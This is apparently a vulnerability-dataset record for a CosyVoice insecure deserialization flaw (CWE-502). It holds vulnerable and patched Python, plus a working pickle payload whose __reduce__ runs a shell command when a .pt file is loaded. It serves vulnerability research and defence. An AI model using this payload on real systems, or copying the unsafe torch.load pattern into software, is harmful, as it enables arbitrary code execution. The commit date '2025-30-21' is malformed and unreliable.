{"id":1852,"cve":"CVE-2026-31249","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-31249\/","cwe":"CWE-502","cwe_number":502,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/502","cvss_score":7.3,"published":"2026-05-11","owasp":"A08 Software and Data Integrity Failures","odc":"Timing\/Serialization","cdc":"Serialization Issues","category":"Input Validation and Sanitization","subcategory":"Insecure Parsing or Deserialization","scope":"Local","impact":"Arbitrary Code Execution","summary":"CosyVoice: RCE in data tool via malicious .pt files from deserialization.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-31249\/","description":"CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its make_parquet_list.py data processing tool. The script loads PyTorch .pt files (utterance embeddings, speaker embeddings, speech tokens) using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious .pt files within a data directory. When a victim processes this directory using the tool, arbitrary code is executed on the victim's system.","solution":"In `make_parquet_list.py`, modify all `torch.load()` calls to `torch.load(..., weights_only=True)`. No official patch is available.","affected_component":"CosyVoice","fixed_by_upgrading":false,"vulnerable_code":"import os\nimport torch\nimport argparse\n\ndef create_parquet_list(data_dir):\n    \"\"\"\n    Scans a directory for .pt files (embeddings, tokens) and processes them.\n    \"\"\"\n    processed_files = []\n    print(f\"Scanning directory: {data_dir}\")\n\n    for root, _, files in os.walk(data_dir):\n        for filename in files:\n            if filename.endswith(\".pt\"):\n                file_path = os.path.join(root, filename)\n                try:\n                    print(f\"Processing {file_path}...\")\n                    # Vulnerable line: Deserializes data from a .pt file.\n                    # An attacker can craft a malicious .pt file that executes\n                    # arbitrary code when loaded via torch.load, as pickle is used\n                    # by default and 'weights_only=True' is not set.\n                    data = torch.load(file_path)\n\n                    # Simulate extracting information for the parquet list\n                    record = {\n                        'path': file_path,\n                        'type': 'embedding' if 'embedding' in filename else 'token',\n                        'size': data.numel() if hasattr(data, 'numel') else 0\n                    }\n                    processed_files.append(record)\n\n                except Exception as e:\n                    print(f\"Error processing {file_path}: {e}\")\n    \n    print(\"Finished processing.\")\n    # In a real script, this list would be saved as a parquet file.\n    # For example:\n    # import pandas as pd\n    # df = pd.DataFrame(processed_files)\n    # df.to_parquet('output.parquet')\n    return processed_files\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(\n        description=\"A data processing tool to create a parquet list from .pt files.\"\n    )\n    parser.add_argument(\n        \"data_directory\",\n        type=str,\n        help=\"The root directory containing the .pt files to process.\"\n    )\n    args = parser.parse_args()\n    \n    if not os.path.isdir(args.data_directory):\n        print(f\"Error: Directory not found at {args.data_directory}\")\n    else:\n        create_parquet_list(args.data_directory)","patched_code":"import torch\nimport pathlib\n\ndef process_utterance_files(data_directory: str):\n    \"\"\"\n    This function represents the data processing logic from make_parquet_list.py,\n    demonstrating the fix for the insecure deserialization vulnerability.\n\n    Args:\n        data_directory: The path to the directory containing .pt files.\n    \"\"\"\n    for pt_file in pathlib.Path(data_directory).rglob(\"*.pt\"):\n        try:\n            # VULNERABLE CODE (commented out for demonstration)\n            # Deserializing a file without safety checks allows a malicious .pt file\n            # to execute arbitrary code via the pickle module.\n            # data = torch.load(pt_file)\n\n            # FIXED CODE\n            # By setting `weights_only=True`, torch.load is restricted to loading\n            # only tensors, storages, and dicts of them. It will raise an error\n            # if the file contains any other Python object, mitigating the\n            # arbitrary code execution vulnerability (CWE-502).\n            data = torch.load(pt_file, weights_only=True)\n\n            # In a real scenario, the loaded 'data' would be processed further.\n            print(f\"Successfully and securely loaded: {pt_file}\")\n\n        except Exception as e:\n            print(f\"Could not load file {pt_file}: {e}\")\n","payload_needed":true,"payload":"```python\nimport torch\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        command = 'touch \/tmp\/pwned'\n        return (os.system, (command,))\n\nmalicious_object = Exploit()\n\n# The filename can be any of the expected .pt files, e.g., utterance_embeddings.pt\ntorch.save(malicious_object, 'speaker_embeddings.pt')\n```","payload_status":"available","published_fix":[],"references":null}